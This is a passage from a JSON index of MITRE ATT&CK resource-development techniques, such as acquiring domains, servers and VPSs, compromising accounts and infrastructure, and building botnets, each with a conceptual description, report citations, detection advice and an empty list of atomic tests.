- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1583.001",
- "url": "https://attack.mitre.org/techniques/T1583/001"
- },
- {
- "external_id": "CAPEC-630",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/630.html"
- },
- {
- "source_name": "CISA MSS Sep 2020",
- "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a",
- "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020."
- },
- {
- "source_name": "FireEye APT28",
- "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
- },
- {
- "source_name": "PaypalScam",
- "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.",
- "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
- },
- {
- "source_name": "CISA IDN ST05-016",
- "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016",
- "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020."
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
- "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
- "source_name": "Mandiant APT1"
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-16T17:09:26.334Z",
- "name": "Domains",
- "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Domain Name: Active DNS",
- "Domain Name: Passive DNS",
- "Domain Name: Domain Registration"
- ]
- },
- "atomic_tests": []
- },
- "T1608.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d",
- "type": "attack-pattern",
- "created": "2021-03-17T20:31:07.828Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1608.002",
- "url": "https://attack.mitre.org/techniques/T1608/002"
- },
- {
- "source_name": "Dell TG-3390",
- "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
- "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
- }
- ],
- "modified": "2021-10-17T16:25:37.072Z",
- "name": "Upload Tool",
- "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1583.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337",
- "type": "attack-pattern",
- "created": "2020-10-01T00:48:09.578Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1583.004",
- "url": "https://attack.mitre.org/techniques/T1583/004"
- },
- {
- "source_name": "NYTStuxnet",
- "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
- "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- },
- {
- "source_name": "Mandiant SCANdalous Jul 2020",
- "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
- "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."
- },
- {
- "source_name": "Koczwara Beacon Hunting Sep 2021",
- "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
- "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T15:39:45.736Z",
- "name": "Server",
- "description": "Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content",
- "Internet Scan: Response Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1585.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
- "type": "attack-pattern",
- "created": "2020-10-01T01:09:53.217Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1585.002",
- "url": "https://attack.mitre.org/techniques/T1585/002"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
- "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
- "source_name": "Mandiant APT1"
- },
- {
- "source_name": "Trend Micro R980 2016",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/",
- "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020."
- }
- ],
- "modified": "2021-04-15T03:09:59.862Z",
- "name": "Email Accounts",
- "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1588.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
- "type": "attack-pattern",
- "created": "2020-10-01T02:06:11.499Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1588.001",
- "url": "https://attack.mitre.org/techniques/T1588/001"
- },
- {
- "source_name": "FireEyeSupplyChain",
- "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
- "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
- }
- ],
- "modified": "2021-10-17T16:15:52.805Z",
- "name": "Malware",
- "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Malware Repository: Malware Content",
- "Malware Repository: Malware Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1583.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795",
- "type": "attack-pattern",
- "created": "2020-10-01T00:44:23.935Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1583.003",
- "url": "https://attack.mitre.org/techniques/T1583/003"
- },
- {
- "source_name": "TrendmicroHideoutsLease",
- "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
- "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- },
- {
- "source_name": "Mandiant SCANdalous Jul 2020",
- "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
- "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."
- },
- {
- "source_name": "Koczwara Beacon Hunting Sep 2021",
- "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
- "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T15:36:59.315Z",
- "name": "Virtual Private Server",
- "description": "Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Metadata",
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1584": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jeremy Galloway"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
- "created": "2020-10-01T00:36:30.759Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1584",
- "url": "https://attack.mitre.org/techniques/T1584"
- },
- {
- "source_name": "FireEye DNS Hijack 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html",
- "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020."
- },
- {
- "source_name": "ICANNDomainNameHijacking",
- "url": "https://www.icann.org/groups/ssac/documents/sac-007-en",
- "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017."
- },
- {
- "source_name": "Koczwara Beacon Hunting Sep 2021",
- "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
- "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."
- },
- {
- "source_name": "Mandiant APT1",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
- "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016."
- },
- {
- "source_name": "Talos DNSpionage Nov 2018",
- "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
- "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."
- },
- {
- "source_name": "NSA NCSC Turla OilRig",
- "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
- "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."
- },
- {
- "source_name": "Mandiant SCANdalous Jul 2020",
- "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
- "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- },
- {
- "source_name": "FireEye EPS Awakens Part 2",
- "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html",
- "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) \n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
- "modified": "2022-04-20T14:26:33.716Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Compromise Infrastructure",
- "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Internet Scan: Response Content",
- "Domain Name: Domain Registration",
- "Domain Name: Passive DNS",
- "Domain Name: Active DNS",
- "Internet Scan: Response Metadata"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1586": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a",
- "type": "attack-pattern",
- "created": "2020-10-01T01:17:15.965Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1586",
- "url": "https://attack.mitre.org/techniques/T1586"
- },
- {
- "source_name": "AnonHBGary",
- "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
- "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
- }
- ],
- "modified": "2021-10-16T17:15:12.428Z",
- "name": "Compromise Accounts",
- "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Persona: Social Media",
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1584.005": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3",
- "created": "2020-10-01T00:58:35.269Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1584.005",
- "url": "https://attack.mitre.org/techniques/T1584/005"
- },
- {
- "source_name": "Dell Dridex Oct 2015",
- "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation",
- "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019."
- },
- {
- "source_name": "Imperva DDoS for Hire",
- "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/",
- "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."
- },
- {
- "source_name": "Norton Botnet",
- "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html",
- "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",
- "modified": "2022-04-19T15:55:58.319Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Botnet",
- "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1608": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0",
- "type": "attack-pattern",
- "created": "2021-03-17T20:04:09.331Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1608",
- "url": "https://attack.mitre.org/techniques/T1608"
- },
- {
- "source_name": "Volexity Ocean Lotus November 2020",
- "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
